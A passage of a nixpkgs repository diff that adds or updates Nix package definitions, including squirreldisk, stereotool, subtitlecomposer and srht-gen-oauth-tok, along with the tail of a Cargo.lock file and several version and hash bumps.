"wasm-bindgen" +version = "0.2.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eaf9f5aceeec8be17c128b2e93e031fb8a4d469bb9c4ae2d7dc1888b26887268" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c8ffb332579b0557b52d268b91feab8df3615f265d5270fec2a8c95b17c1142" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23639446165ca5a5de86ae1d8896b737ae80319560fbaa4c2887b7da6e7ebd7d" +dependencies = [ + "cfg-if", + "js-sys", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "052be0f94026e6cbc75cdefc9bae13fd6052cdcaf532fa6c45e7ae33a1e6c810" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07bc0c051dc5f23e307b13285f9d75df86bfdf816c5721e573dec1f9b8aa193c" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c38c045535d93ec4f0b4defec448e4291638ee608530863b1e2ba115d4fff7f" + +[[package]] +name = "web-sys" +version = "0.3.60" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bcda906d8be16e728fd5adc5b729afad4e444e106ab28cd1c7256e54fa61510f" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webkit2gtk" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8f859735e4a452aeb28c6c56a852967a8a76c8eb1cc32dbf931ad28a13d6370" +dependencies = [ + "bitflags", + "cairo-rs", + "gdk", + "gdk-sys", + "gio", + "gio-sys", + "glib", + "glib-sys", + "gobject-sys", + "gtk", + "gtk-sys", + "javascriptcore-rs", + "libc", + "once_cell", + "soup2", + "webkit2gtk-sys", +] + +[[package]] +name = "webkit2gtk-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d76ca6ecc47aeba01ec61e480139dda143796abcae6f83bcddf50d6b5b1dcf3" +dependencies = [ + "atk-sys", + "bitflags", + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gdk-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "gtk-sys", + "javascriptcore-rs-sys", + "libc", + "pango-sys", + "pkg-config", + "soup2-sys", + "system-deps 6.0.3", +] + +[[package]] +name = "webview2-com" +version = "0.19.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4a769c9f1a64a8734bde70caafac2b96cada12cd4aefa49196b3a386b8b4178" +dependencies = [ + "webview2-com-macros", + "webview2-com-sys", + "windows 0.39.0", + "windows-implement", +] + +[[package]] +name = "webview2-com-macros" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eaebe196c01691db62e9e4ca52c5ef1e4fd837dcae27dae3ada599b5a8fd05ac" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "webview2-com-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aac48ef20ddf657755fdcda8dfed2a7b4fc7e4581acce6fe9b88c3d64f29dee7" +dependencies = [ + "regex", + "serde", + "serde_json", + "thiserror", + "windows 0.39.0", + "windows-bindgen", + "windows-metadata", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" +dependencies = [ + "winapi", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "window-shadows" +version = "0.2.1" +source = "git+https://github.com/adileo/window-shadows#753bcdfe39d65f1267f623f70ed9a9e9be21e2e0" +dependencies = [ + "cocoa", + "objc", + "raw-window-handle", + "windows-sys 0.45.0", +] + +[[package]] +name = "window-vibrancy" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f762d9cc392fb85e6b1b5eed1ef13d73fed5149a5cbb017a7137497d14ef612" +dependencies = [ + "cocoa", + "objc", + "raw-window-handle", + "windows-sys 0.42.0", +] + +[[package]] +name = "windows" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57b543186b344cc61c85b5aab0d2e3adf4e0f99bc076eff9aa5927bcc0b8a647" +dependencies = [ + "windows_aarch64_msvc 0.37.0", + "windows_i686_gnu 0.37.0", + "windows_i686_msvc 0.37.0", + "windows_x86_64_gnu 0.37.0", + "windows_x86_64_msvc 0.37.0", +] + +[[package]] +name = "windows" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1c4bd0a50ac6020f65184721f758dba47bb9fbc2133df715ec74a237b26794a" +dependencies = [ + "windows-implement", + "windows_aarch64_msvc 0.39.0", + "windows_i686_gnu 0.39.0", + "windows_i686_msvc 0.39.0", + "windows_x86_64_gnu 0.39.0", + "windows_x86_64_msvc 0.39.0", +] + +[[package]] +name = "windows-bindgen" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68003dbd0e38abc0fb85b939240f4bce37c43a5981d3df37ccbaaa981b47cb41" +dependencies = [ + "windows-metadata", + "windows-tokens", +] + +[[package]] +name = "windows-implement" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba01f98f509cb5dc05f4e5fc95e535f78260f15fea8fe1a8abdd08f774f1cee7" +dependencies = [ + "syn", + "windows-tokens", +] + +[[package]] +name = "windows-metadata" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ee5e275231f07c6e240d14f34e1b635bf1faa1c76c57cfd59a5cdb9848e4278" + +[[package]] +name = "windows-sys" +version = "0.42.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc 0.42.1", + "windows_i686_gnu 0.42.1", + "windows_i686_msvc 0.42.1", + "windows_x86_64_gnu 0.42.1", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc 0.42.1", +] + +[[package]] +name = "windows-sys" +version = "0.45.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.42.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e2522491fbfcd58cc84d47aeb2958948c4b8982e9a2d8a2a35bbaed431390e7" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc 0.42.1", + "windows_i686_gnu 0.42.1", + "windows_i686_msvc 0.42.1", + "windows_x86_64_gnu 0.42.1", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc 0.42.1", +] + +[[package]] +name = "windows-tokens" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f838de2fe15fe6bac988e74b798f26499a8b21a9d97edec321e79b28d1d7f597" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.42.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c9864e83243fdec7fc9c5444389dcbbfd258f745e7853198f365e3c4968a608" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2623277cb2d1c216ba3b578c0f3cf9cdebeddb6e66b1b218bb33596ea7769c3a" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec7711666096bd4096ffa835238905bb33fb87267910e154b18b44eaabb340f2" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.42.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c8b1b673ffc16c47a9ff48570a9d85e25d265735c503681332589af6253c6c7" + +[[package]] +name = "windows_i686_gnu" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3925fd0b0b804730d44d4b6278c50f9699703ec49bcd628020f46f4ba07d9e1" + +[[package]] +name = "windows_i686_gnu" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "763fc57100a5f7042e3057e7e8d9bdd7860d330070251a73d003563a3bb49e1b" + +[[package]] +name = "windows_i686_gnu" +version = "0.42.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de3887528ad530ba7bdbb1faa8275ec7a1155a45ffa57c37993960277145d640" + +[[package]] +name = "windows_i686_msvc" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce907ac74fe331b524c1298683efbf598bb031bc84d5e274db2083696d07c57c" + +[[package]] +name = "windows_i686_msvc" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7bc7cbfe58828921e10a9f446fcaaf649204dcfe6c1ddd712c5eebae6bda1106" + +[[package]] +name = "windows_i686_msvc" +version = "0.42.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf4d1122317eddd6ff351aa852118a2418ad4214e6613a50e0191f7004372605" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2babfba0828f2e6b32457d5341427dcbb577ceef556273229959ac23a10af33d" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6868c165637d653ae1e8dc4d82c25d4f97dd6605eaa8d784b5c6e0ab2a252b65" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.42.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1040f221285e17ebccbc2591ffdc2d44ee1f9186324dd3e84e99ac68d699c45" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.42.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "628bfdf232daa22b0d64fdb62b09fcc36bb01f05a3939e20ab73aaf9470d0463" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.37.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4dd6dc7df2d84cf7b33822ed5b86318fb1781948e9663bacd047fc9dd52259d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e4d40883ae9cae962787ca76ba76390ffa29214667a111db9e0a1ad8377e809" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.42.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "447660ad36a13288b1db4d4248e857b510e8c3a225c822ba4fb748c0aafecffd" + +[[package]] +name = "winres" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b68db261ef59e9e52806f688020631e987592bd83619edccda9c47d42cde4f6c" +dependencies = [ + "toml", +] + +[[package]] +name = "wry" +version = "0.23.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c1ad8e2424f554cc5bdebe8aa374ef5b433feff817aebabca0389961fc7ef98" +dependencies = [ + "base64", + "block", + "cocoa", + "core-graphics", + "crossbeam-channel", + "dunce", + "gdk", + "gio", + "glib", + "gtk", + "html5ever", + "http", + "kuchiki", + "libc", + "log", + "objc", + "objc_id", + "once_cell", + "serde", + "serde_json", + "sha2", + "soup2", + "tao", + "thiserror", + "url", + "webkit2gtk", + "webkit2gtk-sys", + "webview2-com", + "windows 0.39.0", + "windows-implement", +] + +[[package]] +name = "x11" +version = "2.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "502da5464ccd04011667b11c435cb992822c2c0dbde1770c988480d312a0db2e" +dependencies = [ + "libc", + "pkg-config", +] + +[[package]] +name = "x11-dl" +version = "2.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38735924fedd5314a6e548792904ed8c6de6636285cb9fec04d5b1db85c1516f" +dependencies = [ + "libc", + "once_cell", + "pkg-config", +] + +[[package]] +name = "xattr" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d1526bbe5aaeb5eb06885f4d987bcdfa5e23187055de9b83fe00156a821fabc" +dependencies = [ + "libc", +] + +[[package]] +name = "zero-copy-pads" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5649a5dce1370c707880332f781f6566883736a41861a5749890f4671d5746b6" +dependencies = [ + "derive_builder", + "derive_more", + "fmt-iter", + "unicode-width", +] + +[[package]] +name = "zip" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "537ce7411d25e54e8ae21a7ce0b15840e7bfcff15b51d697ec3266cc76bdf080" +dependencies = [ + "byteorder", + "crc32fast", + "crossbeam-utils", +] diff --git a/pkgs/by-name/sq/squirreldisk/package.json b/pkgs/by-name/sq/squirreldisk/package.json new file mode 100644 index 0000000000000..b3b80859ef642 --- /dev/null +++ b/pkgs/by-name/sq/squirreldisk/package.json @@ -0,0 +1,40 @@ +{ + "name": "squirreldisk-tauri", + "private": true, + "version": "0.0.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "tsc && vite build", + "preview": "vite preview", + "tauri": "tauri" + }, + "dependencies": { + "@tauri-apps/api": "^1.2.0", + "d3": "^7.8.2", + "mongoid-js": "^1.3.0", + "pretty-bytes": "^6.0.0", + "react": "^18.2.0", + "react-beautiful-dnd": "^13.1.1", + "react-dom": "^18.2.0", + "react-router-dom": "^6.8.0", + "shade-blend-color": "^1.0.0", + "uuid": "^9.0.0", + "vscode-icons-js": "^11.6.1" + }, + "devDependencies": { + "@tauri-apps/cli": "^1.2.2", + "@types/d3": "^7.4.0", + "@types/node": "^18.7.10", + "@types/react": "^18.0.15", + "@types/react-beautiful-dnd": "^13.1.3", + "@types/react-dom": "^18.0.6", + "@types/uuid": "^9.0.0", + "@vitejs/plugin-react": "^3.0.0", + "autoprefixer": "^10.4.13", + "postcss": "^8.4.21", + "tailwindcss": "^3.2.4", + "typescript": "^4.6.4", + "vite": "^4.0.0" + } +} diff --git a/pkgs/by-name/sq/squirreldisk/package.nix b/pkgs/by-name/sq/squirreldisk/package.nix new file mode 100644 index 0000000000000..d274abae5e358 --- /dev/null +++ b/pkgs/by-name/sq/squirreldisk/package.nix @@ -0,0 +1,105 @@ +{ + dbus, + openssl, + freetype, + libsoup, + gtk3, + webkitgtk, + pkg-config, + wrapGAppsHook, + parallel-disk-usage, + fetchFromGitHub, + buildNpmPackage, + rustPlatform, + lib, + stdenv, + copyDesktopItems, + makeDesktopItem, +}: let + pname = "squirreldisk"; + version = "0.3.4"; + + src = fetchFromGitHub { + owner = "adileo"; + repo = "squirreldisk"; + rev = "v${version}"; + hash = "sha256-As2nvc68knjeLPuX0QLBoybj8vuvkpS5Vr+7U7E5CjA="; + }; + frontend-build = buildNpmPackage { + inherit version src; + pname = "squirreldisk-ui"; + + npmDepsHash = "sha256-Japcn0KYP7aYIDK8+Ns+mrnbbAb0fLWXHIV2+yltI6I="; + + packageJSON = ./package.json; + postBuild = '' + cp -r dist/ $out + ''; + distPhase = "true"; + dontInstall = true; + }; +in + rustPlatform.buildRustPackage rec { + inherit version src pname; + + sourceRoot = "${src.name}/src-tauri"; + + cargoLock = { + lockFile = ./Cargo.lock; + outputHashes = { + "window-shadows-0.2.1" = "sha256-3meM04TG63PvB0M5wUH1cDMBo7ObcB0zdgwGt2aKHMs="; + }; + }; + + # copy the frontend static resources to final build directory + # Also modify tauri.conf.json so that it expects the resources at the new location + postPatch = '' + cp ${./Cargo.lock} Cargo.lock + + mkdir -p frontend-build + cp -r ${frontend-build}/* frontend-build + + substituteInPlace tauri.conf.json --replace-fail '"distDir": "../dist"' '"distDir": "./frontend-build"' + + # Copy pdu binary from nixpkgs, since the default packaged binary has issues. + cp ${parallel-disk-usage}/bin/pdu bin/pdu-${stdenv.hostPlatform.config} + ''; + + nativeBuildInputs = [pkg-config wrapGAppsHook copyDesktopItems]; + buildInputs = [dbus openssl freetype libsoup gtk3 webkitgtk]; + + # Disable checkPhase, since the project doesn't contain tests + doCheck = false; + + postInstall = '' + mv $out/bin/squirreldisk-tauri $out/bin/squirreldisk + install -DT icons/256x256.png $out/share/icons/hicolor/256x256/apps/squirrel-disk.png + install -DT icons/128x128@2x.png $out/share/icons/hicolor/128x128@2/apps/squirrel-disk.png + install -DT icons/128x128.png $out/share/icons/hicolor/128x128/apps/squirrel-disk.png + install -DT icons/32x32.png $out/share/icons/hicolor/32x32/apps/squirrel-disk.png + ''; + + # WEBKIT_DISABLE_COMPOSITING_MODE essential in NVIDIA + compositor https://github.com/NixOS/nixpkgs/issues/212064#issuecomment-1400202079 + postFixup = '' + wrapProgram "$out/bin/squirreldisk" \ + --set WEBKIT_DISABLE_COMPOSITING_MODE 1 + ''; + + desktopItems = [ + (makeDesktopItem { + name = "SquirrelDisk"; + exec = "squirreldisk"; + icon = "squirrel-disk"; + desktopName = "SquirrelDisk"; + comment = meta.description; + }) + ]; + + meta = with lib; { + description = "Cross-platform disk usage analysis tool"; + homepage = "https://www.squirreldisk.com/"; + license = licenses.agpl3Only; + maintainers = with maintainers; [peret]; + mainProgram = "squirreldisk"; + }; + } diff --git a/pkgs/by-name/sr/srht-gen-oauth-tok/package.nix b/pkgs/by-name/sr/srht-gen-oauth-tok/package.nix new file mode 100644 index 0000000000000..16a0b2c2cfd76 --- /dev/null +++ b/pkgs/by-name/sr/srht-gen-oauth-tok/package.nix @@ -0,0 +1,42 @@ +{ stdenv, pkgs, lib, fetchFromSourcehut, nixosTests }: + +let + perl = pkgs.perl.withPackages (pps: [ + pps.CryptSSLeay + pps.WWWMechanize + pps.XMLLibXML + ]); +in +stdenv.mkDerivation rec { + pname = "srht-gen-oauth-tok"; + version = "0.1"; + + src = fetchFromSourcehut { + domain = "entropic.network"; + owner = "~nessdoor"; + repo = pname; + rev = version; + hash = "sha256-GcqP3XbVw2sR5n4+aLUmA4fthNkuVAGnhV1h7suJYdI="; + }; + + buildInputs = [ perl ]; + nativeBuildInputs = [ perl ]; + + installPhase = "install -Dm755 srht-gen-oauth-tok $out/bin/srht-gen-oauth-tok"; + + passthru.tests.sourcehut = nixosTests.sourcehut; + + meta = { + description = "A script to register a new Sourcehut OAuth token for a given user"; + longDescription = '' + srht-gen-oauth-tok is a Perl script for automating the generation of user + OAuth tokens for Sourcehut-based code forges. This is done by emulating a + browser and interacting with the Web interface. + ''; + maintainers = with lib.maintainers; [ nessdoor ]; + mainProgram = "srht-gen-oauth-tok"; + license = lib.licenses.gpl3; + platforms = lib.platforms.all; + sourceProvenance = [ lib.sourceTypes.fromSource ]; + }; +} diff --git a/pkgs/by-name/sr/srm-cuarzo/package.nix b/pkgs/by-name/sr/srm-cuarzo/package.nix index 9c77d755d5b93..71aeb8e316018 100644 --- a/pkgs/by-name/sr/srm-cuarzo/package.nix +++ b/pkgs/by-name/sr/srm-cuarzo/package.nix @@ -14,9 +14,9 @@ }: stdenv.mkDerivation (self: { pname = "srm-cuarzo"; - version = "0.5.2-1"; + version = "0.5.3-1"; rev = "v${self.version}"; - hash = "sha256-FMd1v0K+H7DlSD0osmWrnuSKqQZxw3RUZq8JwZFm/f4="; + hash = "sha256-KRp+rTpiUbOmUPE9vASwTF+c8TDveFnAEqptcGO5luc="; src = fetchFromGitHub { inherit (self) rev hash; diff --git a/pkgs/by-name/st/stats/package.nix b/pkgs/by-name/st/stats/package.nix index 0a289e09897ea..4da58eed1ce1c 100644 --- a/pkgs/by-name/st/stats/package.nix +++ b/pkgs/by-name/st/stats/package.nix @@ -6,11 +6,11 @@ stdenvNoCC.mkDerivation (finalAttrs: { pname = "stats"; - version = "2.9.11"; + version = "2.10.3"; src = fetchurl { url = "https://github.com/exelban/stats/releases/download/v${finalAttrs.version}/Stats.dmg"; - hash = "sha256-L7E3naVeFYxeS8OAEkXEgY7YB+6E+yrGfIAUr52EWvA="; + hash = "sha256-PSRK9YihiIHKHade3XE/OnAleBhmu71CNFyzJ/Upx/A="; }; sourceRoot = "."; diff --git a/pkgs/by-name/st/steamguard-cli/package.nix b/pkgs/by-name/st/steamguard-cli/package.nix index 379bec22675bc..748c0c1e97dbe 100644 --- a/pkgs/by-name/st/steamguard-cli/package.nix +++ b/pkgs/by-name/st/steamguard-cli/package.nix @@ -6,16 +6,16 @@ rustPlatform.buildRustPackage rec { pname = "steamguard-cli"; - version = "0.12.5"; + version = "0.13.0"; src = fetchFromGitHub { owner = "dyc3"; repo = pname; rev = "v${version}"; - hash = "sha256-YjJhCEg87xuUFjHD6cBN4dhQhx/c4F/XewyMYeA06+U="; + hash = "sha256-+Lax9MaNyrsckgx7HtpXC1zBWcZNt16inY8qil0CVLQ="; }; - cargoHash = "sha256-Z1KWU7Z9iGs5yjuWilMSYhfIilSW8ng+pq5ENfunINo="; + cargoHash = "sha256-4QyFNy7oGWKScKZXQc63TxsI3avyEVSlqJAmv+lg1GE="; nativeBuildInputs = [ installShellFiles ]; postInstall = '' diff --git a/pkgs/by-name/st/stereotool/package.nix b/pkgs/by-name/st/stereotool/package.nix new file mode 100644 index 0000000000000..f1c4ea0d8e52d --- /dev/null +++ b/pkgs/by-name/st/stereotool/package.nix @@ -0,0 +1,171 @@ +{ lib +, stdenv +, fetchurl +, autoPatchelfHook +, libX11 +, libXpm +, alsa-lib +, bzip2 +, zlib +, libsForQt5 +, libgcc +, makeWrapper +, copyDesktopItems +, makeDesktopItem +}: + +stdenv.mkDerivation rec { + pname = "stereotool"; + version = "10.21"; + + srcs = + let + versionNoPoint = lib.replaceStrings [ "." ] [ "" ] version; + in + [ + (fetchurl { + name = "stereo-tool-icon.png"; + url = "https://download.thimeo.com/stereo_tool_icon_${versionNoPoint}.png"; + hash = "sha256-dcivH6Cc7pdQ99m80vS4E5mp/SHtTlNu1EHc+0ALIGM="; + }) + ] ++ ( + { + # Alsa version for 64bits. + x86_64-linux = [ + (fetchurl { + name = "alsa"; + url = "https://download.thimeo.com/stereo_tool_gui_64_${versionNoPoint}"; + hash = "sha256-ByRguhZ29ertQM3q+TPUUT1BMnAJGbwNe8WbNxLhcmk="; + }) + # Jack version for 64bits. + (fetchurl { + name = "jack"; + url = "https://download.thimeo.com/stereo_tool_gui_jack_64_${versionNoPoint}"; + hash = "sha256-ByRguhZ29ertQM3q+TPUUT1BMnAJGbwNe8WbNxLhcmk="; + }) + # Cmd version for 64bits + (fetchurl { + name = "cmd"; + url = "https://download.thimeo.com/stereo_tool_cmd_64_${versionNoPoint}"; + hash = "sha256-PGheJfOQJzI1gs05qW9vcAMoVnCPIHR2qS0GIg5V6vw="; + }) + ]; + # Sources if the system is aarch64-linux + aarch64-linux = [ + (fetchurl { + name = "alsa"; + url = "https://download.thimeo.com/stereo_tool_gui_pi2_64_${versionNoPoint}"; + hash = "sha256-iwoc6c+ox+2DSqmiz8mpDotDjqki7iL0jgqc7Z1htNI="; + }) + (fetchurl { + name = "jack"; + url = "https://download.thimeo.com/stereo_tool_gui_jack_pi2_64_${versionNoPoint}"; + hash = "sha256-iwoc6c+ox+2DSqmiz8mpDotDjqki7iL0jgqc7Z1htNI=="; + }) + (fetchurl { + name = "cmd"; + url = "https://download.thimeo.com/stereo_tool_pi2_64_${versionNoPoint}"; + hash = "sha256-bIFnQkJB9XoEKo7IG+MSMvx/ia1C8i97Cw7EX4EDizk="; + }) + ]; + # Sources if the system is aarch32-linux + aarch32-linux = [ + (fetchurl { + name = "alsa"; + url = "https://download.thimeo.com/stereo_tool_gui_pi2_${versionNoPoint}"; + hash = "sha256-922yqmis5acvASU2rEi5YzFLAUuDO7BiEiW49RKfcoU="; + }) + (fetchurl { + name = "jack"; + url = "https://download.thimeo.com/stereo_tool_gui_jack_pi2_${versionNoPoint}"; + hash = "sha256-922yqmis5acvASU2rEi5YzFLAUuDO7BiEiW49RKfcoU="; + }) + (fetchurl { + name = "cmd"; + url = "https://download.thimeo.com/stereo_tool_pi2_${versionNoPoint}"; + hash = "sha256-xKM5Mg6gEAvbp63rd81ssnx2Bj1hUylCo36mQBYwIvg="; + }) + ]; + # Sources if the system is 32bits i686 + i686-linux = [ + (fetchurl { + # The name is the name of this source in the build directory + name = "alsa"; + url = "https://download.thimeo.com/stereo_tool_gui_${versionNoPoint}"; + hash = "sha256-iEPqJvmXKXD4AVbM+1QZeUOwpMjMT7ROYNQpmhRVZyw="; + }) + (fetchurl { + name = "jack"; + url = "https://download.thimeo.com/stereo_tool_gui_jack_${versionNoPoint}"; + hash = "sha256-iEPqJvmXKXD4AVbM+1QZeUOwpMjMT7ROYNQpmhRVZyw="; + }) + (fetchurl { + name = "cmd"; + url = "https://download.thimeo.com/stereo_tool_cmd_${versionNoPoint}"; + hash = "sha256-sk13wj7XvuwTDWWW6tMYHdTV9XjPeHe6hHv2JPBxBLA="; + }) + ]; + }.${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}")); + + unpackPhase = '' + for srcFile in $srcs; do + cp $srcFile $(stripHash $srcFile) + done + ''; + + nativeBuildInputs = [ + autoPatchelfHook + makeWrapper + copyDesktopItems + ]; + + desktopItems = [ + (makeDesktopItem { + name = "stereotool-alsa"; + desktopName = "Stereotool-Alsa"; + exec = "stereo_tool_gui"; + icon = "stereo-tool-icon"; + comment = "Broadcast Audio Processing"; + categories = [ "AudioVideo" "Audio" "AudioVideoEditing" ]; + }) + (makeDesktopItem { + name = "stereotool-jack"; + desktopName = "Stereotool-Jack"; + exec = "stereo_tool_gui_jack"; + icon = "stereo-tool-icon"; + comment = "Broadcast Audio Processing"; + categories = [ "AudioVideo" "Audio" "AudioVideoEditing" ]; + }) + ]; + + buildInputs = [ + libX11 + alsa-lib + bzip2 + zlib + libXpm + libgcc + ]; + + installPhase = '' + runHook preInstall + install -Dm755 alsa $out/bin/stereo_tool_gui + wrapProgram $out/bin/stereo_tool_gui --prefix PATH : ${lib.makeBinPath [ libsForQt5.kdialog ]} + install -Dm755 jack $out/bin/stereo_tool_gui_jack + wrapProgram $out/bin/stereo_tool_gui_jack --prefix PATH : ${lib.makeBinPath [ libsForQt5.kdialog ]} + install -Dm755 cmd $out/bin/stereo_tool_cmd + mkdir -p $out/share/icons/hicolor/48x48/apps + cp stereo-tool-icon.png $out/share/icons/hicolor/48x48/apps/stereo-tool-icon.png + runHook postInstall + ''; + + meta = with lib; { + homepage = "https://www.thimeo.com/stereo-tool/"; + description = "Stereo Tool is a software-based audio processor which offers outstanding audio quality and comes with many unique features."; + license = licenses.unfree; + mainProgram = "stereo_tool_gui"; + platforms = [ "aarch64-linux" "aarch32-linux" "x86_64-linux" "i686-linux" ]; + maintainers = with maintainers; [ RudiOnTheAir ]; + }; + +} diff --git a/pkgs/by-name/su/subtitlecomposer/package.nix b/pkgs/by-name/su/subtitlecomposer/package.nix new file mode 100644 index 0000000000000..31ede6bbedbad --- /dev/null +++ b/pkgs/by-name/su/subtitlecomposer/package.nix @@ -0,0 +1,51 @@ +{ lib +, fetchFromGitLab +, cmake +, extra-cmake-modules +, ffmpeg +, openal +, stdenv +, libsForQt5 +}: + +stdenv.mkDerivation rec { + pname = "subtitlecomposer"; + version = "0.8.0"; + + src = fetchFromGitLab { + domain = "invent.kde.org"; + owner = "multimedia"; + repo = "subtitlecomposer"; + rev = "v${version}"; + hash = "sha256-RKS3VTtpxnox0hzessMHmoGPpT+Ho0b3fxtQMGw9OrM="; + }; + + nativeBuildInputs = [ cmake extra-cmake-modules libsForQt5.wrapQtAppsHook ]; + buildInputs = [ ffmpeg openal ] ++ (with libsForQt5; [ + kcodecs + kconfig + kconfigwidgets + kcoreaddons + ki18n + kio + ktextwidgets + kwidgetsaddons + kxmlgui + sonnet + ]); + + meta = with lib; { + homepage = "https://apps.kde.org/subtitlecomposer"; + description = "An open source text-based subtitle editor"; + longDescription = '' + An open source text-based subtitle editor that supports basic and + advanced editing operations, aiming to become an improved version of + Subtitle Workshop for every platform supported by Plasma Frameworks. + ''; + changelog = "https://invent.kde.org/multimedia/subtitlecomposer/-/blob/master/ChangeLog"; + license = licenses.gpl2Plus; + maintainers = with maintainers; [ kugland ]; + mainProgram = "subtitlecomposer"; + platforms = with platforms; linux ++ freebsd ++ windows; + }; +} diff --git a/pkgs/by-name/su/supersonic/package.nix b/pkgs/by-name/su/supersonic/package.nix index 9feb440c80871..1189dc5ba61f6 100644 --- 